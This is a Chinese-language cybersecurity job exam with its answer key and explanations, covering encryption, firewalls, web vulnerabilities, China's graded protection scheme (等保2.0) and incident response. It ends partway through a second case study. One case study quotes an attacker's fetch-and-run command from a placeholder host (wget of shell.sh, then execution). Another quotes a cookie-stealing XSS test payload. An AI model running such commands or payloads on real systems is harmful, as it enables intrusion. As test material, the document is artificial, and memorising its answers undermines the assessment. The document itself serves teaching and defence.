2025年网络安全岗位考核试题及答案

2025年网络安全岗位考核试题及答案一、单项选择题（每题1分，共20分）1.下列哪种攻击方式属于社会工程学攻击？A.SQL注入B.钓鱼邮件C.暴力破解D.端口扫描答案B解析钓鱼邮件通过伪装成可信实体诱骗用户泄露信息，属于社会工程学；其余选项均为技术类攻击。2.在对称加密算法中，加密和解密使用的密钥关系是？A.相同B.不同且无法互相推导C.成对出现，一个公开一个私密D.完全不同但可通过数学变换相互转换答案A解析对称加密使用同一把密钥进行加密和解密。3.下列哪个端口通常用于HTTPS服务？A.21B.22C.80D.443答案D解析443是HTTPS默认端口；21为FTP，22为SSH，80为HTTP。4.防火墙工作在OSI模型的哪些层次（传统包过滤防火墙）？A.物理层和数据链路层B.网络层和传输层C.会话层和表示层D.应用层答案B解析传统包过滤防火墙主要检查IP头和TCP/UDP端口，工作在网络层和传输层。5.以下关于密码存储的说法，正确的是？A.明文存储便于用户找回密码B.使用MD5加密存储即可满足安全要求C.应使用加盐的慢哈希算法（如bcrypt、PBKDF2）存储D.密码只需要在数据库层面加密，传输过程无需加密答案C解析明文存储和MD5均不安全，传输过程需使用HTTPS/TLS加密；加盐慢哈希是业界标准做法。6.下列哪项不是信息安全的基本属性（CIA三元组）？A.机密性（Confidentiality）B.完整性（Integrity）C.可用性（Availability）D.不可否认性（Non-repudiation）答案D解析CIA三元组为机密性、完整性、可用性。不可否认性常作为附加属性，但不属于经典的CIA三元组。7.SQL注入攻击的主要原因是？A.服务器端口开放过多B.程序未对用户输入进行有效过滤或参数化查询C.使用了弱加密算法D.操作系统未及时打补丁答案B解析SQL注入源于动态拼接SQL语句且未参数化，导致恶意输入被当作代码执行。8.在Linux系统中，查看当前用户权限（是否为root）的命令是？A.whoamiB.idC.pwdD.useradd答案B解析id可显示当前用户的UID、GID和所属组，UID为0表示root；whoami仅显示用户名，无法直接体现权限等级。9.下列关于零信任安全模型的描述，错误的是？A.默认信任网络内部的所有设备B.持续验证身份和权限C.基于最小权限原则D.强调微分段和动态访问控制答案A解析零信任的核心是"永不信任，始终验证"，不默认信任内部设备。10.下列哪个工具主要用于Web应用安全扫描？A.NmapB.WiresharkC.BurpSuiteD.Metasploit答案C解析BurpSuite是常用Web应用渗透测试工具；Nmap用于端口扫描，Wireshark用于流量分析，Metasploit是漏洞利用框架。11.XSS攻击中，将恶意脚本注入到服务器端数据库中，每次用户浏览页面时触发，这种类型称为？A.反射型XSSB.存储型XSSC.DOM型XSSD.基于Mutation的XSS答案B解析存储型XSS将恶意脚本持久化存储在服务器端，用户访问时从服务器加载执行。12.在网络安全等级保护2.0中，安全保护等级分为几级？A.三级B.四级C.五级D.六级答案C解析等级保护分为第一级（用户自主保护）、第二级（系统审计保护）、第三级（安全标记保护）、第四级（结构化保护）、第五级（访问验证保护）。13.数字签名主要用于保证信息的？A.机密性和完整性B.完整性和不可否认性C.可用性和完整性D.机密性和可用性答案B解析数字签名通过哈希保证完整性，通过私钥签名保证不可否认性，但不直接提供机密性。14.下列哪种认证方式属于多因素认证（MFA）？A.密码+指纹B.身份证号+姓名C.用户名+密码D.手机号+验证码答案A解析多因素认证要求两个及以上不同类别的因素（如知识、拥有、固有）。密码+指纹属于知识因素和生物特征因素组合；用户名+密码和身份证号+姓名本质都是知识；手机号+验证码可视为拥有因素+知识，但若手机号是账号而非凭据，则验证码单一因素，故最佳答案为A。15.以下关于DDoS攻击的描述，正确的是？A.攻击者直接利用系统漏洞获取服务器权限B.攻击目标是耗尽目标资源（带宽、连接数、CPU等），导致服务不可用C.仅能通过改变服务器配置抵御D.DDoS攻击无法预防答案B解析DDoS旨在耗尽目标资源，可通过流量清洗、限速、高防等方式缓解。16.在Linux系统中，设置文件/etc/shadow的权限为仅root可读写，应使用命令？A.chmod600/etc/shadowB.chmod644/etc/shadowC.chmod666/etc/shadowD.chmod700/etc/shadow答案A解析600表示所有者（root）可读写，其他用户无任何权限。644其他用户可读，666所有人可读写，700所有者可读写执行。17.下列哪种算法属于非对称加密算法？A.AESB.3DESC.SM4D.RSA答案D解析AES、3DES、SM4均为对称加密算法；RSA是非对称加密算法。18.渗透测试过程中，主动收集信息阶段通常不包括？A.子域名爆破B.目标组织员工社交媒体信息收集C.端口扫描D.指纹识别答案B解析员工社交媒体信息属于被动信息收集（OSINT）；其余选项均是主动探测行为。19.下列关于堡垒机（跳板机）的作用，描述最准确的是？A.代替防火墙进行流量过滤B.集中管控运维操作，实现审计和权限控制C.作为Web应用防火墙使用D.用于加密传输文件答案B解析堡垒机主要用于运维人员对服务器的集中访问管理和操作审计。20.数据备份策略中，"3-2-1"原则中的"3"指的是？A.每天备份3次B.备份数据保留3份副本C.使用3种不同的备份介质D.建立3个备份数据中心答案B解析"3-2-1"原则：3份数据副本，2种不同存储介质，1份异地存放。二、多项选择题（每题2分，共20分）1.下列哪些属于网络安全应急响应的典型阶段？A.准备阶段B.检测与分析阶段C.遏制、根除与恢复阶段D.事后复盘与改进阶段答案ABCD解析应急响应生命周期包括准备、检测与分析、遏制、根除、恢复、事后总结等。2.常见的Web服务端漏洞包括？A.SQL注入B.文件上传漏洞C.CSRFD.不安全的反序列化答案ABCD解析以上均为OWASPTop10中常见的Web安全漏洞。3.下列哪些措施可以有效防范暴力破解SSH登录？A.禁用root远程登录B.使用密钥认证替代密码认证C.配置fail2ban限制失败次数D.将SSH默认端口22改为非标准端口答案ABCD解析以上均能降低暴力破解风险。修改端口可减少自动扫描，但不能作为唯一防护手段。4.关于TLS/SSL协议，下列说法正确的有？A.TLS是SSL的继任标准B.TLS握手阶段可以协商加密算法和密钥长度C.TLS1.0和1.1已被认为不安全，建议禁用D.SSLv3.0仍可安全使用答案ABC解析SSLv3.0存在POODLE等严重漏洞，已被弃用；TLS1.0/1.1也因安全性问题被建议禁用。5.下列关于WAF（Web应用防火墙）说法正确的有？A.可以检测并拦截SQL注入、XSS等Web攻击B.可以部署在云上或本地物理设备C.完全替代代码层的安全修复D.可能产生误报，需调整规则答案ABD解析WAF是补充手段，不能完全替代应用程序自身的安全加固。6.安全配置基线通常包括哪些内容？A.账户策略和口令策略B.服务端口最小化C.日志审计要求D.备份策略答案ABCD解析安全配置基线涵盖系统、网络、应用、数据等安全相关配置的最低要求，备份策略也属于其中一部分。7.下列哪些属于对称加密算法？A.DESB.AESC.SM4D.ECC答案ABC解析ECC（椭圆曲线）是非对称加密算法。8.在日志分析中，发现以下哪些行为可能预示入侵？A.大量404错误B.连续多次认证失败C.异常时间点的高权限操作D.外发大量加密数据答案ABCD解析以上均为日志异常特征，需进一步关联分析。9.关于等保2.0中安全管理中心要求，下列正确的是？A.系统管理、安全管理、审计管理三权分立B.通过安全设备集中管理平台对设备进行统一管控C.集中收集分析审计数据D.允许管理人员兼任系统管理员和安全管理员答案ABC解析等保要求角色分离，不得兼任系统管理、安全管理、审计管理的职位。10.下列哪些属于物理安全防护措施？A.机房门禁系统B.视频监控C.消防系统D.温湿度控制系统答案ABCD解析门禁、监控、消防、环境控制均为机房物理安全必须考虑的方面。三、判断题（每题1分，共10分）1.VPN可以保证所有业务完全不受攻击。答案错误解析VPN仅提供加密隧道和远程访问，不防护内部业务自身的漏洞。2.使用公共Wi-Fi时，访问银行网站只要使用HTTPS就是绝对安全的。答案错误解析HTTPS保护传输过程，但仍需防范DNS劫持、恶意证书、设备中毒等风险。3.数据库备份文件可以明文存放在服务器本地，无需保护。答案错误解析备份可能包含敏感数据，应加密保存并严格限制访问权限。4.定期修改密码可以有效降低密码泄露风险，但过于频繁可能适得其反。答案正确解析过于频繁的密码更换可能促使用户使用易记忆的弱密码或连续变体，降低整体安全性。5.防火墙是网络边界防护的唯一安全组件。答案错误解析还需搭配入侵检测/防御、WAF、日志审计、终端安全等形成纵深防御。6.在等保2.0中，工业控制系统安全扩展要求适用于发电厂、油气管道等工控系统。答案正确解析等保2.0针对工业控制系统有专门的扩展要求。7.为了便于管理，所有服务器应使用相同且简单的口令。答案错误解析口令应满足复杂度要求，且不同系统应使用不同口令。8.加密后的数据无法被篡改。答案错误解析加密保证机密性，不保证完整性；需配合消息认证码或签名防止篡改。9.社工攻击中，攻击者利用人的心理弱点而非技术手段获取信息。答案正确10.网络攻击行为一定会留下明显日志记录。答案错误解析高级攻击者可能会清除、篡改日志或使用内存攻击，日志可能缺失或失真。四、简答题（每题5分，共20分）1.简述网络安全中"纵深防御"的基本思想，并列举至少3层不同层面的防御措施。答案纵深防御是指通过多层、异构的安全防护体系降低单一防御失效的风险，即使某一层被攻破，后续层仍能提供保护。常见层次包括：（1）物理安全：门禁、监控、UPS等；（2）网络层：防火墙、入侵检测/防御、访问控制列表（ACL）；（3）主机层：操作系统加固、主机入侵检测、终端安全管理；（4）应用层：代码审计、WAF、输入验证；（5）数据层：加密、备份、数据脱敏；（6）管理层面：安全制度、定期风险评估、人员安全意识培训。2.什么是"最小权限原则"？在Linux系统和数据库授权中如何体现？答案最小权限原则是指任何用户、程序或进程只应获得完成任务所需的最小权限，不得赋予多余权限。在Linux中应避免使用root执行日常操作，使用普通用户运行服务，并通过sudo按需授权；文件权限设置应精确控制读写执行。在数据库中，应为不同角色创建最小必要的SELECT、INSERT、UPDATE、DELETE等权限，禁止使用超级管理员账号连接业务，并按需细分库、表、字段级权限。3.请写出至少4种常见的Web安全漏洞，并简要说明其危害。答案（1）SQL注入：攻击者可读取、修改或删除数据库数据，甚至控制服务器；（2）XSS：可窃取用户Cookie、会话令牌，进行钓鱼或篡改页面内容；（3）CSRF：伪造受害者请求执行非预期操作，如改密、转账；（4）文件上传漏洞：可上传WebShell，获得服务器控制权；（5）SSRF：服务端伪造请求访问内部网络，绕过边界防护；（6）不安全的反序列化：可导致任意代码执行。4.简述安全日志审计的主要作用和常见分析维度。答案安全日志审计用于记录和追踪系统事件，帮助发现安全威胁、还原攻击路径、满足合规要求。常见分析维度包括：时间维度（异常时段操作）、用户维度（权限变更、登录行为）、来源IP维度（频繁失败、地理异常）、操作对象维度（敏感文件、高危命令）、行为序列维度（多步骤攻击链、横向移动）以及结果维度（成功/失败、异常响应码）。五、案例分析题（每题15分，共30分）1.某公司内部服务器近期遭受攻击，日志显示：来自境外IP的SSH登录尝试连续2小时，每秒钟约5次，最终成功登录了web01服务器（IP为0），并执行了wgethttp://malicious.example/shell.sh、chmod+xshell.sh、./shell.sh等命令。请回答问题：（1）该攻击最可能属于哪种类型？攻击成功利用了哪些薄弱点？（2）描述攻击者可能达到的后续效果。（3）请从技术和管理两个层面提出至少6项整改措施。答案：（1）该攻击属于暴力破解（在线口令猜测）攻击。薄弱点包括：SSH允许密码认证且未限制失败次数；账号口令强度不足、可能为弱口令；未配置fail2ban等防爆破机制；防火墙未限制管理端口来源IP；日志未实时告警。（2）攻击者成功登录后获得web01的shell权限，可下载并执行恶意脚本，可能植入后门、挖矿木马或勒索软件，窃取服务器中的敏感数据，进而利用该服务器作为跳板攻击内网其他主机，造成数据泄露、服务中断等严重后果。（3）整改措施：技术层面：-禁用SSH密码登录，改用密钥认证；-配置fail2ban或类似工具，多次失败自动封锁源IP；-限制SSH访问来源IP白名单，仅允许运维网段；-使用堡垒机统一管理运维入口；-及时修补系统漏洞，开启主机入侵检测；-定期备份数据并异地存储。管理层面：-制定强口令策略，禁止使用默认口令和弱口令；-建立安全审计制度，定期检查日志并设置异常告警；-加强员工安全意识培训，防止内部凭证泄露。2.某电商网站用户反馈在"个人资料"页面修改昵称时，如果输入<script>alert(document.cookie)</script>，保存后再浏览该页面，浏览器弹出当前用户的Cooki